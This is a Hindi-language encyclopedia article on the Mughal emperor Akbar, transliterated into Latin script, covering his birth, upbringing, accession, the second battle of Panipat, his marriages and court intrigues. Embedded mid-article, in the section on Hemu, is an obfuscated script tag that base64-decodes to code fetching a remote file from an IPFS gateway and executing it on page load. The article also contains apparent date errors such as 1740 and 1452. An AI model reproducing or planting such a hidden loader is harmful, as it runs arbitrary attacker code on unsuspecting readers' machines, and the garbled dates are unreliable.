अकबर

akabar vishay soochi

akabar    parichay    mata-pita se bichhu dana    akabar ki shiksha    rajyabhishek    hemoo se samana    akabar ka vivah    bairam khaan ki hatya    adaham khaan ki hatya    sahasi vyaktittv    akabar ke prarambhik sudhar    uttar bharat par vijay    dakshin ki vijay    jite ge rajy    vidroh ka daman    rajapoot v dharmik niti    hinduoan par prabhav    akabar aur brajamandal    kala-sahity mean yogadan    akabar ke navaratn    akabar ki mrityu

akabar
akabar|200px|center
poora nam	jalaluddin muhammad akabar
janm	15 aktoobar sanh 1542 (lagabhag)
janm bhoomi	amarakot, sindh (pakistan)
mrityu tithi	27 aktoobar sanh 1605 (umr 63 varsh)
mrityu sthan	fatehapur sikari, agara
pita/mata	humayooan, mariyam maqani
pati/patni	mariyam-uzh-zamani (haraka baee)
santan	jahaangir ke alava 5 putr 7 betiyaan
upadhi	jalal-ud-din
rajy sima	uttar aur madhy bharat
shasan kal	27 janavari, 1556 - 27 aktoobar, 1605
sha. avadhi	49 varsh
rajyabhishek	14 farabari 1556 kalanapur ke pas guradasapur
dharmik manyata	naya mazahab banaya din-e-ilahi
yuddh	panipat, haldighati
sudhar-parivartan	jaziya hataya, rajapootoan se vivah sanbandh
rajadhani	fatehapur sikari agara, dilli
poorvadhikari	humayooan
uttaradhikari	jahaangir
rajagharana	mugal
vansh	taimoor aur changez khaan ka vansh
maqabara	sikandara, agara
sanbandhit lekh	mugal kal

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jalaluddin muhammad akabar (janm: 15 aktoobar, 1542 ee. amarakot - mrityu: 27 aktoobar, 1605 ee. agara) bharat ka mahanatam mugal shanhashah (shasanakal 1556 - 1605 ee.) jisane mugal shakti ka bharatiy upamahadvip ke adhikaansh hissoan mean vistar kiya. apane samrajy ki ekata banae rakhane ke lie akabar dvara aisi nitiyaan apanaee geean, jinase gair musalamanoan ki rajabhakti jiti ja sake. bharat ke itihas mean aj akabar ka nam kafi prasiddh hai. usane apane shasanakal mean sabhi dharmoan ka samman kiya tha, sabhi jati-vargoan ke logoan ko ek saman mana aur unase apane mitrata ke sambandh sthapit kiye the. akabar ne apane shasanakal mean sare bharat ko ek samrajy ke aantargat lane ka prayas kiya, jisamean vah kafi had tak saphal bhi raha tha.

chitr:Seealso.gifakabar ka ullekh in lekhoan mean bhi hai: humayooan, jahaangir, din-e-ilahi, akabaranama, ain-i-akabari, tanasen, todaramal, birabal evan baijoo bavara

janm

akabar ka janm 15 aktoobar, 1542 ee. (19 isaphandaramij ravivar, rajab hijari ka din ya vikram sanvat 1599 ke kartik mas ki chhathi) ko 'hamida banoo begam' ke garbh se amarakot ke rana virasal ke mahal mean hua tha. ajakal kitane hi log amarakot ko umarakot samajhane ki galati karate haian. vastut: yah ilaka rajasthan ka abhinn aang tha. aj bhi vahaan hindoo rajapoot basate haian. registan aur siandh ki sima par hone ke karan aangrezoan ne ise siandh ke sath jo d diya aur vibhajan ke bad vah pakistan ka aang ban gaya. akabar ke bachapan ka nam 'badaruddin' tha. 1546 ee. mean akabar ke khatane ke samay humayooan ne usaka nam 'jalaluddin muhammad akabar' rakha. akabar ke janm ke samay ki sthiti sambhavatah humayooan ke jivan ki sarvadhik kashtaprad sthiti thi. is samay usake pas apane sathiyoan ko baantane ke lie ek kastoori ke atirikt kuchh bhi n tha. akabar ka bachapan maan-bap ke sneh se rahit askari ke sanrakshan mean maham anaga, jauhar shamsuddin khaan evan jiji anaga ki dekh-rekh mean kandhar mean bita. humayooan aisi sthiti mean nahian tha ki, apane pratham putr ke janmotsav ko uchit riti se mana sakata. sari kathinaiyoan mean malik ke sath rahane vala jauhar, akabar ke samay bahut boodha hokar mara. usane likha hai-

badashah ne is sansmaran ke lekhak ko hukm diya-jo vastuean tumhean mainean sauanp rakhi haian, unhean le ao. is par maian jakar do sau shaharukhadi (rupaya), ek chaandi ka k da aur do dana kastoori (nabhi) le aya. pahali donoan chizoan ko unake malikoan ke pas lautane ke lie hukm diya. phir ek chini ki tastari mangaee. usamean kastoori ko pho dakar rakh diya aur yah kahate hue upasthit vyaktiyoan mean use baanta: "apane putr ke janm din ke upalakshy mean ap logoan ko bheant dene ke lie mere pas bas yahi maujood hai. mujhe vishvas hai, ek din usaki kirti sari duniya mean usi tarah phailegi, jaise ek sthan mean yah kastoori"

dhol aur baje bajakar is khushakhabari ki soochana di gee.

pita humayooan ki mushkilean

humayooan mushkil se nau varsh hi shasan kar paya tha ki, 26 joon, 1539 ko ganga kinare 'chausa' (shahabad zile) mean use sherakhaan (sherashah) ke hathoan karari har khani p di. chausa apane aitihasik yuddh ke lie aj utana prasiddh nahian hai, jitana apane svadisht amoan ke lie. chausa ki har ke bad kannauj mean humayooan ne phir bhagy-pariksha ki, lekin sherashah ne 17 mee, 1740 ko apane se kee guna adhik sena ko hara diya. humayooan is bar pashchim ki or bhaga. kitane hi samay tak vah rajasthan ke registanoan mean bhatakata raha, par kahian se bhi use koee sahayata prapt nahian huee. isi bhatakate hue jivan mean usaka parichay hamida banoo se hua. banoo ka pita shekh ali akabar jami mir baba dost humayooan ke chhote bhaee hindal ka guru tha. hamida ki sagaee ho chuki thi, lekin chahe betakht ka hi ho, akhir humayooan badashah tha. siandh mean pat ke mukam par 1541 ee. ke ant ya 1452 ee. ke prarambh mean 14 varsh ki hamida ka vivah humayooan se ho gaya. apane pichhale jivan mean yahi hamida banoo 'mariyam makani' ke nam se prasiddh huee aur apane bete se ek hi sal pahale (29 agast, 1604 ee. mean) mari. us samay kya pata tha ki, humayooan ka bhagy palata khayega aur hamida ki kokh se akabar jaisa ek advitiy putr paida hoga.

mata-pita se bichhu dana

humayooan apane khoye hue rajy ko phir se prapt karane ke lie sangharsharat tha. tabhi vah eeran ke tahamasp ki sahayata prapt karane ke khyal se kandhar ki or chala. b di mushkil se sehavan par usane siandh par kiya, phir balochistan ke raste kveta ke dakshin mastang sthan par pahuancha, jo ki kandhar ki sima par tha. is samay yahaan par usaka chhota bhaee askari apane bhaee kabul ke shasak kamaraan ki or se hukoomat kar raha tha. humayooan ko khabar mili ki, askari hamala karake usako pak dana chahata hai. mukabala karane ke lie adami nahian the. jara-si bhi der karane se kam big dane vala tha. usake pas mean gho doan ki bhi kami thi. usane tardi beg se maanga, to usane dene se inkar kar diya. humayooan, hamida banoo ko apane pichhe gho de par bithakar paha doan ki or bhaga. usake jate der nahian lagi ki askari do hazar savaroan ke sath pahuanch gaya. humayooan sal bhar ke shishu akabar ko le jane mean asamarth hua. vah vahian dere mean chhoot gaya. askari ne bhatije ke oopar gussa nahian utara aur use jauhar adi ke hath achchhi tarah se kandhar le gaya. kandhar mean askari ki patni sultan begam vatsaly dikhalane ke lie taiyar thi.

ab akabar, askari ki patni ki dekh-rekh mean rahane laga. khanadani pratha ke anusar doodhamataean, anaga-niyukt ki geean. shamashuddin muhammad ne 1540 ee. mean kannauj ke yuddh mean humayooan ko doobane se bachaya tha, usi ki bibi jiji anaga ko doodh pilane ka kam sauanpa gaya. maham anaga doosari anaga thi. yadyapi usane doodh shayad hi kabhi pilaya ho, par vahi mukhy anaga mani gee aur usake putr-akabar ke doodh bhaee (koka ya kokalatash)-adaham khan ka pichhe bahut man badha.

shiksha

akabar ajivan nirakshar raha. pratha ke anusar char varsh, char mahine, char din par akabar ka akshararambh hua aur mulla asamuddin ibrahim ko shikshak banane ka saubhagy prapt hua. kuchh dinoan ke bad jab path sunane ki bari aee, to vahaan kuchh bhi nahian tha. humayooan ne socha, mulla ki beparavahi se l daka padh nahian raha hai. logoan ne bhi j d diya-“mulla ko kabootarabazi ka bahut shauq hai. usane shagird ko bhi kabootaroan ke mele mean laga diya hai”. phir mulla bayajid shikshak hue, lekin koee bhi phal nahian nikala. donoan purane mullaoan ke sath maulana abdul kadir ke nam ko bhi shamil karake chitthi dali gee. sanyog se maulana ka nam nikal aya. kuchh dinoan tak vah bhi padhate rahe. kabul mean rahate akabar ko kabootarabazi aur kuttoan ke sath khelane se phursat nahian thi. hindustan mean aya, tab bhi vahian raphtar bedhangi rahi. mulla pir muhammad-bairam khaan ke vakil ko yah kam sauanpa gaya. lekin akabar ne to kasam kha li thi ki, bap padhe n ham. kabhi man hota to mulla ke samane kitab lekar baith jata. hijari 863 (1555-56 ee.) mean mir abdul latif kajavini ne bhi bhagy pariksha ki. farasi to matribhasha thahari, isalie achchhi sahityik farasi akabar ko bolane-chalane mean hi a gee thi. kajabini ke samane divan hafij shuroo kiya, lekin jahaan tak aksharoan ka sambandh tha, akabar ne apane ko kora rakha. mir saiyad ali aur khvaja abdul samad chitrakala ke ustad niyukt kiye ge. akabar ne kabool kiya aur kuchh dinoan rekhaean khianchi bhi, lekin kitaboan par aankhean g dane mean usaki rooh kaanp jati thi.

smaran shakti ka dhani

thumb|250px|akabar ki mrityu se kuchh samay pahale ka chitr-1605 ee. akshar jnan ke abhav se yah samajh lena galat hoga ki, akabar ashikshit tha. akhir purane samay mean jab lipi ka avishkar nahian hua tha, hamare rrishi bhi aankh se nahian, kan se padhate the. isilie jnan ka arth sanskrit mean shrut hai aur mahajnani ko aj bhi bahushrut kaha jata hai. akabar bahushrut tha. usaki smriti ki sabhi dad dete haian. isalie suni batean use bahut jald yad a jati thian. hafij, roomi adi ki bahut-si kavitaean use yad thian. us samay ki prasiddh kavitaoan mean shayad hi koee hogi, jo usane suni nahian thi. usake sath bakayada pustak pathi rahate the. farasi ki pustakoan ke samajhane mean koee dikkat nahian thi, arabi pustakoan ke anuvad (farasi) sunata tha. ‘shahanama’ adi pustakoan ko sunate vaqt jab pata laga ki sanskrit mean bhi aisi pustakean haian, to vah unako sunane ke lie utsuk ho gaya aur mahabharat, ramayan adi bahut-si pustakean usane apane lie farasi mean anuvad karavaeean. ‘mahabharat’ ko ‘shahanama’ ke mukabale ka samajhakar vah anuvad karane ke lie itana adhir ho gaya ki, sanskrit pandit ke anuvad ko sunakar svayan farasi mean bolane laga aur lipik use utarane lage. kam phursat ke karan yah kam der tak nahian chala. akshar padhane ki jagah usane apani javani khel-tamashoan aur sharirik-manasik sahas ke kamoan mean lagaee. chitoan se hiran ka shikar, kuttoan ka palana, gho doan aur hathiyoan ki dau d use bahut pasand thi. kisi se kaboo mean n ane vale hathi ko vah sar karata tha aur isake lie jan-boojhakar khatara mol leta tha.

soobedar ka pad

1551 ee. mean matr 9 varsh ki avastha mean pahali bar akabar ko gajani ki soobedari sauanpi gee. humayooan ne hindustan ki punarvijay ke samay munim khaan ko akabar ka sanrakshak niyukt kiya. sikandar soor se akabar dvara ‘sarahind’ ko chhin lene ke bad humayooan ne 1555 ee. mean use apana ‘yuvaraj’ ghoshit kiya. dilli par adhikar kar lene ke bad humayooan ne akabar ko lahaur ka garvanar niyukt kiya, sath hi akabar ke sanrakshak munim khaan ko apane doosare l dake mirza hakim ka aangarakshak niyukt kar, turk senapati ‘bairam khaan’ ko akabar ka sanrakshak niyukt kiya.

humayooan ki mrityu

dilli ke takht par baithane ke bad yah humayooan ka durbhagy hi tha ki, vah adhik dinoan tak sattabhog nahian kar saka. janavari, 1556 ee. mean ‘dinapanah’ bhavan mean sthit pustakalay ki sidhiyoan se girane ke karan humayooan ki mutyu ho gayi. humayooan ki mrityu ka samachar sunakar bairam khaan ne gurudasapur ke nikat ‘kalanaur’ mean 14 faravari, 1556 ee. ko akabar ka rajyabhishek karava diya aur vah 'jalaluddin muhammad akabar badashah gazi' ki upadhi se rajasianhasan par baitha. rajyabhishek ke samay akabar ki ayu matr 13 varsh 4 mahine ki thi.

nabalig badashah

kalanor mean 14 varsh ke akabar ko badashah ghoshit kar diya gaya, par use khel-tamashe se phursat nahian thi, oopar se bairam khaan jaisa adami usaka saraparast tha. saltanat bhi abhi agara se panjab tak hi simit thi. humayooan aur babar ke rajy ke purane soobe hath mean nahian aye the. bangal mean pathanoan ka bolabala tha, rajasthan mean rajapoot rajava de svachchhand the. malava mean maandoo ka sultan aur gujarat mean alag badashah tha. goandavana (madhy pradesh) mean rani durgavati ki tapi thi, kahavat hai, ‘tal mean bhoopal tal aur sab talaiya. rani mean durgavati aur sab gadhaiya.’ khanadesh, barar, bidar, ahamadanagar, golakuanda, bijapur, dilli se azad ho apane-apane sultanoan ke adhin the. kisi vaqt malik kafoor ne rameshvaram par alauddin khilaji ka jhanda ga da tha, aj vahaan vijayanagar samrajy ka hindoo rajy tha. kashmir, siandh, baloochistan sabhi dilli se mukt the.

hemoo se samana

adishal soor ne chunar ko apani rajadhani banaya tatha hemoo ko mugaloan ko hindustan se bahar nikalane ke lie niyukt kiya. hemoo, reva di ka nivasi tha, jo dhoosar vaishy kul mean paida hua tha. arambhik dinoan mean vah reva di ki s dakoan par namak becha karata tha. rajy ki seva mean sarvapratham use tol karane valoan ke roop mean naukari mil gee. islamashah ne usaki yogyata se prabhavit hokar darabar mean ek gupt pad par niyukt kar diya. adilashah ke shasak banate hi hemoo pradhanamantri banaya gaya. musalamani shasan mean matr do hindoo, todaramal evan hemoo ko hi pradhanamantri banaya gaya. hemoo ne apane svami ke lie 24 l daeeyaan l di thian, jisamean use 22 mean saphalata mili thi. hemoo agara aur gvaliyar par adhikar karata hua, 7 aktoobar, 1556 ee. ko tugalakabad pahuancha. yahaan usane tardi beg ko parast kar dilli par qabza kar liya. hemoo ne raja 'vikramadity' ki upadhi ke sath ek svatantr shasak banane ka saubhagy prapt kiya.

chitr:Blockquote-open.gif akabar ajivan nirakshar raha. pratha ke anusar char varsh, char mahine, char din par akabar ka akshararambh hua aur mulla asamuddin ibrahim ko shikshak banane ka saubhagy prapt hua. kuchh dinoan ke bad jab path sunane ki bari aee, to vahaan kuchh bhi nahian tha. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hemoo ki is saphalata se chiantit akabar aur usake kuchh sahayogiyoan ke man mean kabul vapas jane ki bat kauandhane lagi. parantu bairam khaan ne akabar ko is visham paristhati ka samana karane ke lie taiyar kar liya, jisaka parinam tha-panipat ki dvitiy l daee.

panipat ki dvitiy l daee (5 navambar, 1556 ee.)

yah sangharsh panipat ke maidan mean 5 navambar, 1556 ee. ko hemoo ke netritv mean afagan sena evan bairam khaan ke netritv mean mugal sena ke madhy l da gaya. dilli aur agara ke hath se chale jane par darabariyoan ne salah di ki hemoo idhar bhi badh sakata hai. isilie behatar hai ki, yahaan se kabul chala jae. lekin bairam khaan ne ise pasand nahian kiya. bad mean bairam khaan aur akabar apani sena lekar panipat pahuanche aur vahian jua khela, jise tin sal pahale dada ne khela tha. hemoo ki sena sankhya aur shakti, donoan mean badh-chadhakar thi. portugijoan se mili topoan ka use b da abhiman tha. 1500 mahagajoan ki kali ghata maidan mean chhaee huee thi. 5 navambar ko hemoo ne mugal dal mean bhagad d macha di. yuddh ka prarambhik kshan hemoo ke paksh mean ja raha tha, lekin isi samay usaki aankh mean ek tir laga, jo bheje ke bhitar ghus gaya, vah sanjna kho baitha. neta ke bina sena mean bhagad d mach gee. hemoo ko giraphtar karake bairam khaan ne marava diya. kaha jata hai ki, bairam khaan ne akabar se apane dushman ka sir katakar gazi banane ki prarthana ki thi, lekin akabar ne aisa karane se inkar kar diya. akabar is samay abhi mushkil se 14 varsh ka ho paya tha. usamean itana vivek tha ki, ise manane ke lie kuchh itihasakar taiyar nahian haian. hindoo chook ge, par hemoo ki jagah unhoanne akabar jaise shasak ko paya, jisane adhi shatabdi tak bhed-bhav ki khaee ko patane ki koshish ki. bairam khaan ki ataliki ke antim varshoan mean rajy sima khoob badhi. janavari-faravari, 1559 mean gvaliyar ne adhinata svikar kar li. isake karan dakshin ka rasta khul gaya aur gvaliyar jaisa sudridh durg tatha saanskritik kendr akabar ke hath mean a gaya. isi sal poorv mean jaunapur tak mugal jhanda phaharane laga. ranathambhaur ke ajey durg ko lene ki koshish ki gee, par usamean saphalata prapt nahian huee. malava ko bhi bairam khaan lene mean asaphal raha aur is prakar se sabit kar diya gaya ki ab atalik se zyada asha nahian ki ja sakati.

vivah

dilli se akabar disambar 1556 mean sarahind laut aya, kyoanki abhi sikandar soor sar nahian hua tha. mee, 1557 mean sikandar ne manakot (ramakot, jammoo) ke paha di qile mean kitani hi der tak ghire rahane ke bad atm samarpan kiya. use kharid aur bihar ke zile jagir mean mile, jahaan par vah do varsh ke bad mar gaya. kabul se shahi begamean bhi manakot pahuanchi. unake svagat ke lie akabar do manzil age aya. manakot se lahaur hote jalandhar pahuanchane par bairam khaan ne humayooan ki bhaanji salima begam se vivah kiya. lekin yah vivah kuchh hi samay ka raha, kyoanki 31 janavari, 1561 mean bairam khaan ki hatya ke bad phoophi ki l daki salima se akabar ne vivah kiya. salima akabar ki bahut prabhavashalini bibi bani aur 1621 ee. mean mari. aktoobar, 1558 mean akabar dilli se dal-bal sahit yamuna nadi se nav dvara agara pahuancha. yadyapi agara ek nagany nagar nahian tha. babar aur soori ne bhi usaki qadar ki thi, tathapi usaka bhagy akabarabad banane ke bad hi jaga.

hindoo rajakumari se vivah

ek rat akabar shikar ke lie agara ke pas ke kisi gaanv se ja raha tha. vahaan kuchh gavaiyoan ko ajameri khvaja ka gunagan gate suna. usane man mean khvaja ki bhakti jagi aur 1562 ki janavari ke madhy mean tho de se logoan ko lekar vah ajamer ki or chal p da. agara aur ajamer ke madhy mean debasa mean amer (pichhe jayapur) ke raja biharimal mile aur apani sabase b di l daki ke vivah ka prastav rakha. ajamer mean tho da thaharakar lautate vaqt saanbhar mean rajakumari se akabar ne vivah kiya. biharimal ke jyeshth putr bhagavanadas ko koee l daka nahian tha, unhoanne apane bhatije manasianh ko god liya tha. raja bhagavanadas aur kuanvar manasianh ab akabar ke sage sambandhi ho ge. isi kachhavaha rajakumari ka nam pichhe ‘mariyam jamani’ p da, jisase jahaangir paida hua. akabar ki apani maan hamida banoo ko ‘mariyam makani’ (sadan ki mariyam) kaha jata tha. kachhavaha rani ki qabr sikandara mean akabar ki qabr ke pas ek rauje mean hai, jisase spasht hai ki vah pichhe hindoo nahian rahi. ab tak saltanat ke stambh toorani samajhe jate the, ab rajapoot bhi stambh bane aur vah tooraniyoan se adhik dridh sabit hue. [[chitr:govindev-temple-2.jpg|govind dev mandir, vrindavan
Govind Dev Temple, Vrindavan|thumb|250px]] akabari darabar ke itihasakar 'abul fazal' krit 'aina-e-akabari' mean aur jahaangir ke likhe atmacharit 'tujuk jahaangir' mean use mariyam zamani hi kaha gaya hai. yah upadhi use salim ke janm par sanh 1569 mean di gee thi. kuchh logoan ne usaka nam jodhabaee likh diya hai, jo sahi nahian hai. jodhabaee jodhapur ke raja udayasianh ki putri thi, jisaka vivah salim ke sath sanh 1585 mean hua tha.

vah samrat akabar ki maharani aur jahaangir ki mata hone se mugal aant:pur ki sarvadhik pratishthit nari thi. vah muslim badashah se vivah hone par bhi hindoo dharm ke prati nishthavan rahi. samrat akabar ne use poori dharmik svatantrata di thi. vah hindoo dharm ke anusar dharmopasana, utsav−tyohar evan riti−rivajoan ko karati thi. usaki mrityu samrat akabar ke dehavasan ke 18 varsh pashchat sanh 1623 mean agara mean huee thi. usaki yad mean ek bhavy smarak agara ke nikatavarti sikandara namak sthan par samrat ke maqabare ke samip banaya gaya, jo aj bhi hai.

begamoan ka prabhav

akabar ne bhale hi bairam khaan ke hath se saltanat ki bagador chhin li, par abhi vah use apane hath mean nahian le saka. vastut: maham anaga apani beti aur sambandhiyoan ke bal par bairam khaan ko pachha dane mean saphal huee thi. vah kab chahati thi ki, akabar apane prabhav se nikal jae. pir muhammad shiravani ne shadyantr ko saphal banane mean apane aka bairam khaan se vishvasaghat kiya tha. tardibeg ka bhi sarvanash karane mean usaka b da hath tha. vah maham anaga ke atyant kripapatroan mean se ek tha. shajat khaan (sahajaval khaan) soor maandoo mean pahale salimashah soor ki or se, phir svatantr shasak raha. hijari 963 (1555-1556 ee.) mean usake marane par usaka sabase b da l daka bajabahadur malava ki gaddi par usi sal baitha tha, jis sal akabar takht par baitha tha. bajabahadur (sultan bayajid) ayogy tatha kroor adami tha. usane apane chhote bhaee aur kitane hi afasaroan ko maravakar apane ko mazaboot karana chaha. apane p dosi goand rajaoan ki or hath badhana chaha aur buri tarah se hara. vah sangit ka bahut shauqin tha. usane adali (adilashah soor) se sangit ki shiksha paee thi. madira, madirekshana aur sangit usake jivan ka lakshy tha. usake darabar mean nrity aur sangit mean atyant kushal roopamati ganika thi, jisake prem mean vah pagal tha. is prem ko lekar kitane hi kaviyoan ne apani kavitaean likhi haian.

maham anaga ki chaturata

1560 ee. ki sharad mean maham anaga ke putr adaham khaan ki adhinata mean malava par akraman karane ki taiyari ki gee. pir muhammad shiravani kahane ke lie to sahayak senapati tha, nahian to vahi sarvesarva tha. naujavan adaham khaan apane maan ke karan hi pradhan senapati banaya gaya tha. sarangapur ke pas 1561 ee. mean bajabahadur ki har huee. malava ka khazana shahi sena ke hath mean aya. bajabahadur ne apane afasaroan ko kah rakha tha ki har hone par dushman ke hath mean jane se bachane ke lie begamoan ko mar dalana. apane sauandary ke lie jagat prasiddh roopamati par talavar chalaee gee, lekin vah mari nahian. adaham khaan ne loot ke mal ko apane hath mean rakhana chaha aur tho de se hathi bhar akabar ke pas bheje. pir muhammad aur adaham khaan ne malava mean bhari kroorata ki. malava ke hindoo-musalamanoan mean koee antar nahian tha. malava par pahale se hukoomat karane vale bhi musalaman the. vidvan shekhoan aur sammananiy saiyyadoan ko bhi unhoanne nahian chho da. yah khabar akabar ke pas pahuanchi. vah janata tha ki maham apane putr ke lie kuchh bhi karane se utha nahian rakhegi, isilie bina soochana die vah ek din (27 aprॅl, 1561 ee.) ko tho de se adamiyoan ko lekar agara se chal p da. khabar milate hi maham anaga ne apane l dake (adaham khaan) ke pas doot bheja, lekin akabar usase pahale hi vahaan par pahuanch gaya tha. adaham khaan akabar ko dekhate hi hakka-bakka rah gaya. usane akabar ke samane atm-samarpan karake chhutti leni chahi. akabar ko maloom hua ki usane bajabahadur ke ant:pur ki do sundariyoan ko chhipa rakha hai. maham anaga ghabaraee. usane socha, yadi ye donoan akabar ke samane hajir hueean to, bete ka bhed khul jayega. isilie usane donoan sundariyoan ko zahar dekar marava diya.

bairam khaan ka patan

hijari 961 (1553-1554 ee.) mean logoan ne chugali lagaee ki bairam khaan svatantr hona chahata hai, lekin bairam khaan namak-haram nahian tha. humayooan ek din svayan kandhar pahuancha. bairam khaan ne bahutera chaha ki badashah use apane sath le chale, lekin kandhar bhi ek bahut mahattvapoorn sthan tha, jisake lie bairam khaan se badhakar achchha shasak nahian mil sakata tha. akabar ke zamane mean bhi bahut dinoan tak kandhar bairam khaan ke shasan mean hi raha, usaka nayab shah muhammad kandhari usaki or se kam karata tha. humayooan ke marane par akabar ki saltanat ka bhar bairam khaan ke oopar tha. khanakhana ki yogyata aur prabhav ko dekhakar marane se tho da pahale humayooan ne apani bhaanji salima sultan begam ki shadi bairam khaan se nishchit kar di thi. akabar ke doosare sanajaloos (1558 ee.) mean b de dhoomadham se yah shadi sampann huee. darabar ke kuchh mugal saradar aur kitani hi begamean is sambandh se naraz thian. taimoori khanadan ki shahazadi ek turkaman saradar se byahi jae, ise vah kaise pasand kar sakate the. thumb|250px|left|akabar ki vriddhavastha ki tasvir tisare sanajaloos (1558-1559 ee.) mean shekh gadaee ko sadare-sudoor banaya gaya tha. gadaee aur bairam khaan donoan hi shiya the. amiroan mean ek bahut b di sankhya mean sunni the. hindustan ka islam sunni tha. aj tak kabhi aisa nahian hua tha ki itane b de pad par kisi shiya ko rakha gaya ho. bairam khaan ke is kary ne sabhi sunni amiroan ko usake khilaf ekamat kar diya. yah bhi bairam khaan ke patan ka ek mukhy karan tha. akabar ki maan hamida banoo (mariyam makani), usaki doodh maan maham anaga, doodhabhaee adaham khaan, unaka sambandhi tatha dilli ka hakim shahabuddin, bairam khaan ke khilaf shadyantr karane valoan ke mukhiya the. vah akabar ko yah bhi samajha rahe the ki bairam, kamaraan mirza ke l dake ko gaddi par baithana chahata hai. ye log bairam khaan ke sarvanash ke lie kamar kas chuke the. khanakhana ke salahakar usase kah rahe the, ‘akabar ko giraphtar karo, lekin bairam khaan aisi namak harami ke lie taiyar nahian tha.’ jab maloom hone laga ki bairam khaan ka sitara doobane ja raha hai to kitane hi sahayak usase alag hokar chale ge.

bairam khaan ki hatya

akabar bhi ab 18 varsh ka ho raha tha. vah bairam khaan ke hathoan ki kathaputali banakar rahana nahian chahata tha. udhar bairam khaan ne bhi apane ap ko sarvesarva bana liya tha. isake karan usake dushmanoan ki sankhya badh gee thi. darabar mean ek-doosare ke khoon ke pyase do dal ban ge the. jinamean se virodhi dal ke sir par akabar ka hath tha. bairam khaan ki talavar aur rajaniti ne ant mean har khaee. vah pak dakar akabar ke samane upasthit kiya gaya. akabar ne kaha, “khanababa ab tin hi raste haian. jo pasand ho, use ap svikar karo: (1)rajakaj chahate ho, to chanderi aur kalapi ke zile le lo, vahaan jakar hukoomat karo. (2) darabari rahana pasand hai, to mere pas raho, tumhara darja aur samman pahale jaisa hi rahega. (3) yadi haj karana chahate ho, to usaka prabandh kiya ja sakata hai.” khanakhana ne tisari bat manzoor kar li.

haj ke lie jahaz pak dane vah samudr ki or jata hua, patan (gujarat) mean pahuancha. janavari, 1561 mean vishal sahasalang sarovar mean nav par sair kar raha tha. sham ki namaz ka vaqt a gaya. khanakhana kinare par utara. isi samay mubarak khaan lohani tis-chalis pathanoan ke sath mulakat karane ke bahane vahaan a gaya. bairam khaan hath milane ke lie age badha. lohani ne pith mean khanjar marakar chhati ke par kar diya. khanakhana vahian girakar t dapane laga. lohani ne kaha-machhiva da mean tumane mere bap ko mara tha, usi ka badala aj hamane le liya. bairam khaan ka beta aur bhavi hindi ka mahan kavi abdurrahim us samay char sal ka tha. akabar ko maloom hua. usane khanakhana ki begamoan ko dilli bulavaya. bairam khaan ki bibi tatha apani phoophi (gularukh begam) ki l daki salima sultan ke sath svayan vivah karake bairam khaan ke parivar ke sath ghanishthata sthapit ki. salima banoo akabar ki bahut prabhavashali begamoan mean se thi.

adaham khaan ki hatya

16 mee, 1562 ee. ki dopahar ko akabar mahal mean aram kar raha tha. shamshuddin muhammad ataga ke mantri banaye jane se maham anaga bahut naraz thi. usaka nalayaq beta adaham khaan gusse se pagal ho gaya tha. anaga ke sambandhi aur hitamitr darane lage ki shasan unake hath mean nahian rahega, isilie kuchh karana chahie. munam khaan aur afasaroan ke sath shamshuddin darabar mean baitha kary karane mean laga hua tha. isi samay vahaan par adaham khaan a dhamaka. shamshuddin usake samman ke lie kh da ho gaya, lekin use svikar karane ki jagah adaham khaan ne katar nikal li. usake ishare par usake do adamiyoan ne shamshuddin muhammad ataga par var kiya. ataga vahian aangan mean gir p da. halla-gulla akabar ke kamare tak pahuancha. adaham khaan ne chaha ki akabar ko bhi isi samay samapt kar dooan, lekin shahi naukaroan ne daravaze ko bhitar se band kar diya. akabar ko khabar mili, to vah doosare daravaze se talavar lie bahar nikala. adaham khaan ko dekhate hi usane poochha, ‘shamshuddin muhammad ataga ko tumane kyoan mara?’ adaham khaan ne bahana karate hue akabar ka hath pak d liya. akabar ne hath khianchana chaha, adaham khaan ne badashah ki talavar pak dani chahi. akabar ne zor ka mukka mara, jisase adaham khaan behosh hokar gir p da. akabar ne adamiyoan ko hukm diya, ‘ise baandhakar mahal ke parakote se niche gira do.’ hukum ki pabandi adhe dil se ki gee, jisase adaham khaan mara nahian. akabar ne dubara hukum diya aur adamiyoan ne pak dakar phir se adaham khaan ko niche giraya. adaham khaan ki gardan toot gee, khop di pha dakar usaka bheja bahar nikal aya. adaham khaan ke kam mean sahanubhooti rakhane vale munam khaan, usaka dost shahabuddin aur doosare amir jan bachakar bhag ge.

maham anaga ki mrityu

akabar ant:pur mean gaya. maham anaga charapaee par bimar p di thi. usane sankshep mean sari bat batala di, yadyapi saf nahian kaha ki adaham khaan mar chuka hai. maham anaga ne itana hi kaha, ‘huzoor ne achchha kiya.’ maham anaga ko isaka itana zabardast aghat laga ki chalis din bad usane bhi apane bete ka anugaman kiya. akabar ne kutubaminar ke pas maan bete ke lie ek sundar maqabara banava diya. adaham khaan aur usaki maan ke marane ke sath ab akabar poori tarah se svatantr ho gaya tha.

sahasi vyaktitv

akabar ka darabar vaibhavashali tha. usaki lanbi chau di aupacharikataean doosare logoan aur akabar ke bich ke aantar ko ujagar karati thian, halaanki vah darabari ghere ke bahar janamat vikasit karane ke prati sajag tha. har subah vah logoan ko darshan dene v samman pane ke lie ek khule jharokhe mean kh da hota tha. akabar ka vyaktitv kitana sahasi tha, is bat ka andaza niche diye kuchh prasangoan dvara asani se lagaya ja sakata hai.

pahala prasang

malava ka kam thik karake 38 dinoan ke bad akabar (4 joon, 1561 ee.) ko agara vapas laut aya. garmiyoan ka din tha, lautate vaqt raste mean naravar ke pas ke jangaloan mean shikar karane gaya aur paanch bachchoan ke sath ek baghin ko talavar ke ek var se mar diya.

doosara prasang

